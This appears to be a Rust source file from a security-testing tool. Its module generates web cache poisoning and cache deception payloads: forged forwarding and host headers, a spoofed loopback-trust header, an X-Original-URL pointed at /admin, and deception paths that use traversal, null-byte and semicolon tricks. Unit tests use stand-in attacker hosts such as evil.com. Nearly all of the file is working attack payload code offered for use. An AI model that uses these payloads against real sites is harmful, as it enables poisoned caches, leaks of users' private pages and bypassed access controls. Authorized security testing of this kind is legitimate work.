wafrift_encoding/encoding/
cache_poison.rs1#[must_use]
49pub fn x_forwarded_host(attacker_host: &str) -> String {
50 format!("X-Forwarded-Host: {attacker_host}")
51}
52
53#[must_use]
57pub fn x_forwarded_scheme(scheme: &str) -> String {
58 format!("X-Forwarded-Scheme: {scheme}")
59}
60
61#[must_use]
65pub fn x_forwarded_port(port: u16) -> String {
66 format!("X-Forwarded-Port: {port}")
67}
68
69#[must_use]
73pub fn x_original_url(target_url: &str) -> String {
74 format!("X-Original-URL: {target_url}")
75}
76
77#[must_use]
79pub fn x_host(attacker_host: &str) -> String {
80 format!("X-Host: {attacker_host}")
81}
82
83#[must_use]
86pub fn forwarded_rfc7239(attacker_host: &str, scheme: &str) -> String {
87 format!("Forwarded: for=1.1.1.1;host={attacker_host};proto={scheme}")
88}
89
90#[must_use]
93pub fn x_backend_host(attacker_host: &str) -> String {
94 format!("X-Backend-Host: {attacker_host}")
95}
96
97#[must_use]
101pub fn loopback_trust_header() -> String {
102 "X-Real-IP: 127.0.0.1\r\nX-Forwarded-For: 127.0.0.1".to_string()
103}
104
105#[must_use]
112pub fn web_cache_deception_paths(dynamic_path: &str) -> Vec<String> {
113 let p = dynamic_path.trim_end_matches('/');
114 vec![
115 format!("{p}/cache_buster.css"),
116 format!("{p}/cache_buster.js"),
117 format!("{p}/cache_buster.png"),
118 format!("{p}/cache_buster.jpg"),
119 format!("{p}/cache_buster.svg"),
120 format!("{p}/.css"),
121 format!("{p}/..%2fcache_buster.css"),
122 format!("{p};.css"),
123 format!("{p}%00.css"),
124 format!("{p}%3B.css"),
125 format!("{p}#.css"),
126 ]
127}
128
129#[must_use]
133pub fn cache_key_normalization_variants(base_path: &str) -> Vec<String> {
134 let p = base_path.trim_end_matches('/');
135 vec![
136 format!("{p}/"),
138 format!("{p}"),
139 format!("{p}//"),
141 format!("{p}%2f"),
143 format!("{p}?a=1&b=2"),
145 format!("{p}?b=2&a=1"),
146 format!("{p}?A=1"),
148 format!("{p}#x"),
150 format!("{p}/."),
152 format!("{}", p.to_uppercase()),
154 ]
155}
156
157#[must_use]
161pub fn vary_header_confusion(vary_on: &str) -> String {
162 format!("Vary: {vary_on}")
163}
164
165#[must_use]
170pub fn status_code_poison_header() -> &'static str {
171 "X-Force-404: 1"
175}
176
177#[must_use]
181pub fn h2_authority_split(attacker_authority: &str) -> String {
182 format!(":authority: {attacker_authority}")
183}
184
185#[must_use]
188pub fn all_cache_poison_payloads(
189 attacker_host: &str,
190 target_path: &str,
191) -> Vec<(&'static str, String)> {
192 let mut out = vec![
193 ("x-forwarded-host", x_forwarded_host(attacker_host)),
194 ("x-forwarded-scheme-http", x_forwarded_scheme("http")),
195 ("x-forwarded-port-8080", x_forwarded_port(8080)),
196 ("x-original-url", x_original_url("/admin")),
197 ("x-host-akamai", x_host(attacker_host)),
198 (
199 "forwarded-rfc7239",
200 forwarded_rfc7239(attacker_host, "https"),
201 ),
202 ("x-backend-host", x_backend_host(attacker_host)),
203 ("loopback-trust", loopback_trust_header()),
204 ("vary-cookie", vary_header_confusion("Cookie")),
205 ("vary-ua", vary_header_confusion("User-Agent")),
206 ("status-404-as-200", status_code_poison_header().to_string()),
207 ("h2-authority-split", h2_authority_split(attacker_host)),
208 ];
209 for (i, p) in web_cache_deception_paths(target_path)
212 .into_iter()
213 .enumerate()
214 {
215 out.push((
216 match i {
217 0 => "deception-css",
218 1 => "deception-js",
219 2 => "deception-png",
220 3 => "deception-jpg",
221 4 => "deception-svg",
222 5 => "deception-dot-css",
223 6 => "deception-traversal",
224 7 => "deception-semicolon",
225 8 => "deception-null-byte",
226 9 => "deception-encoded-semi",
227 _ => "deception-fragment",
228 },
229 p,
230 ));
231 }
232 out
233}
234
235#[cfg(test)]
236mod tests {
237 use super::*;
238
239 #[test]
240 fn x_forwarded_host_basic() {
241 assert_eq!(
242 x_forwarded_host("attacker.example"),
243 "X-Forwarded-Host: attacker.example"
244 );
245 }
246
247 #[test]
248 fn x_forwarded_scheme_https() {
249 assert_eq!(x_forwarded_scheme("https"), "X-Forwarded-Scheme: https");
250 }
251
252 #[test]
253 fn x_forwarded_port_high() {
254 assert_eq!(x_forwarded_port(8443), "X-Forwarded-Port: 8443");
255 }
256
257 #[test]
258 fn x_forwarded_port_max() {
259 assert_eq!(x_forwarded_port(u16::MAX), "X-Forwarded-Port: 65535");
260 }
261
262 #[test]
263 fn x_original_url_basic() {
264 assert_eq!(x_original_url("/admin"), "X-Original-URL: /admin");
265 }
266
267 #[test]
268 fn x_host_akamai() {
269 assert_eq!(x_host("evil.com"), "X-Host: evil.com");
270 }
271
272 #[test]
273 fn forwarded_rfc7239_format() {
274 let h = forwarded_rfc7239("evil.com", "https");
275 assert!(h.starts_with("Forwarded: "));
276 assert!(h.contains("for=1.1.1.1"));
277 assert!(h.contains("host=evil.com"));
278 assert!(h.contains("proto=https"));
279 }
280
281 #[test]
282 fn x_backend_host_basic() {
283 assert_eq!(x_backend_host("evil"), "X-Backend-Host: evil");
284 }
285
286 #[test]
287 fn loopback_trust_has_both_headers() {
288 let h = loopback_trust_header();
289 assert!(h.contains("X-Real-IP: 127.0.0.1"));
290 assert!(h.contains("X-Forwarded-For: 127.0.0.1"));
291 }
292
293 #[test]
294 fn web_cache_deception_paths_count() {
295 let p = web_cache_deception_paths("/profile");
296 assert!(p.len() >= 10);
297 }
298
299 #[test]
300 fn web_cache_deception_includes_css_and_js() {
301 let p = web_cache_deception_paths("/x");
302 assert!(p.iter().any(|s| s.ends_with(".css")));
303 assert!(p.iter().any(|s| s.ends_with(".js")));
304 assert!(p.iter().any(|s| s.ends_with(".png")));
305 }
306
307 #[test]
308 fn web_cache_deception_strips_trailing_slash() {
309 let with_slash = web_cache_deception_paths("/x/");
310 let without_slash = web_cache_deception_paths("/x");
311 assert_eq!(with_slash, without_slash);
312 }
313
314 #[test]
315 fn web_cache_deception_includes_semicolon_truncation() {
316 let p = web_cache_deception_paths("/x");
317 assert!(p.iter().any(|s| s.contains(";.css")));
318 }
319
320 #[test]
321 fn web_cache_deception_includes_null_byte_truncation() {
322 let p = web_cache_deception_paths("/x");
323 assert!(p.iter().any(|s| s.contains("%00.css")));
324 }
325
326 #[test]
327 fn cache_key_normalization_variants_count() {
328 let v = cache_key_normalization_variants("/admin");
329 assert!(v.len() >= 8);
330 }
331
332 #[test]
333 fn cache_key_normalization_includes_case_flip() {
334 let v = cache_key_normalization_variants("/admin");
335 assert!(v.iter().any(|s| s.contains("ADMIN")));
336 }
337
338 #[test]
339 fn cache_key_normalization_includes_query_swap() {
340 let v = cache_key_normalization_variants("/x");
341 assert!(v.iter().any(|s| s.contains("a=1&b=2")));
342 assert!(v.iter().any(|s| s.contains("b=2&a=1")));
343 }
344
345 #[test]
346 fn vary_header_basic() {
347 let h = vary_header_confusion("Cookie");
348 assert_eq!(h, "Vary: Cookie");
349 }
350
351 #[test]
352 fn status_code_poison_constant() {
353 assert_eq!(status_code_poison_header(), "X-Force-404: 1");
354 }
355
356 #[test]
357 fn h2_authority_split_basic() {
358 let h = h2_authority_split("evil.com");
359 assert_eq!(h, ":authority: evil.com");
360 }
361
362 #[test]
363 fn all_cache_poison_minimum_count() {
364 let v = all_cache_poison_payloads("evil.com", "/profile");
365 assert!(v.len() >= 20);
366 }
367
368 #[test]
369 fn all_cache_poison_unique_names() {
370 let v = all_cache_poison_payloads("e", "/p");
371 let names: std::collections::HashSet<&&str> = v.iter().map(|(n, _)| n).collect();
372 assert_eq!(names.len(), v.len());
373 }
374
375 #[test]
376 fn all_cache_poison_carries_marker() {
377 let v = all_cache_poison_payloads("UNIQUE_HOST", "/UNIQUE_PATH");
378 let any_carries_host = v.iter().any(|(_, p)| p.contains("UNIQUE_HOST"));
379 let any_carries_path = v.iter().any(|(_, p)| p.contains("UNIQUE_PATH"));
380 assert!(any_carries_host);
381 assert!(any_carries_path);
382 }
383
384 #[test]
385 fn deterministic_across_calls() {
386 let a = all_cache_poison_payloads("e", "/p");
387 let b = all_cache_poison_payloads("e", "/p");
388 assert_eq!(a, b);
389 }
390
391 #[test]
392 fn handles_unicode_host() {
393 let h = x_forwarded_host("é.攻击.com");
394 assert!(h.contains("é.攻击.com"));
395 }
396
397 #[test]
398 fn adversarial_long_path_no_panic() {
399 let big = "/x".repeat(10_000);
400 let _ = web_cache_deception_paths(&big);
401 let _ = cache_key_normalization_variants(&big);
402 let _ = all_cache_poison_payloads("e", &big);
403 }
404
405 #[test]
406 fn forwarded_rfc7239_no_crlf() {
407 let h = forwarded_rfc7239("e", "https");
408 assert!(!h.contains("\r"));
409 assert!(!h.contains("\n"));
410 }
411
412 #[test]
413 fn x_forwarded_port_zero_renders() {
414 let h = x_forwarded_port(0);
417 assert!(h.ends_with(": 0"));
418 }
419}